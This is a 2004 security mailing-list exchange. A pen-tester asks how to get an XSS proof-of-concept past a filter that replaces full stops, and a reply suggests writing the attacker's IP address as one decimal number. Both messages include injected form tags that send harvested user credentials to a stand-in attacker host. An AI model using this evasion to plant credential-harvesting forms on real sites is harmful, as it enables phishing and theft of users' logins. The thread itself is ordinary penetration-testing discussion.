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RE: Fullstop Substitution in XSS
From: "Pete Foster" <petef () sec-tec co uk>
Date: Tue, 1 Jun 2004 09:02:20 +0100

Hi Calum

You could use a pure decimal for IP address representation.

Use the online tool at:
http://www.opinionatedgeek.com/DotNet/Tools/CrazyIP/Default.aspx

For example the IP address 192.168.0.1 can be represented as 3232235521.

So your HTML FORM code would look like:

<form target="http://3232235521/path/to/script";>

Hope this helps.

-- 
Pete



-----Original Message-----
From: Calum Power [mailto:enune () fribble net]
Sent: 29 May 2004 05:49
To: webappsec () securityfocus com
Subject: Fullstop Substitution in XSS


Hi all,

As a part of a recent Pen-Test, I came across an XSS vulnerabiity. The PHP
script that has this vuln is filtering fullstops (.) and replacing them
with underscores (_).
Now, I'm trying trying to write a Proof-of-Concept, in which a
(convincing) form would be outputted that could 'harvest' user details and
send them to an attacker's webserver.

My problem lies in the output of the form tags. Any: <form
target="http://attacker.com/path/to/script";> is of course being filtered
into: <form target="http://attacker_com/path/to/script";>

Has anyone else had a similar problem? I've tried using hex and unicode
encoding, to no avail (they get decoded before the filtering, obviously).

Any help would be appreciated.

Cheers,
Calum
--
Calum Power
Cultural Jammer
Security Enthusiast
Hopeless Cynic

enune () fribble net
http://www.fribble.net



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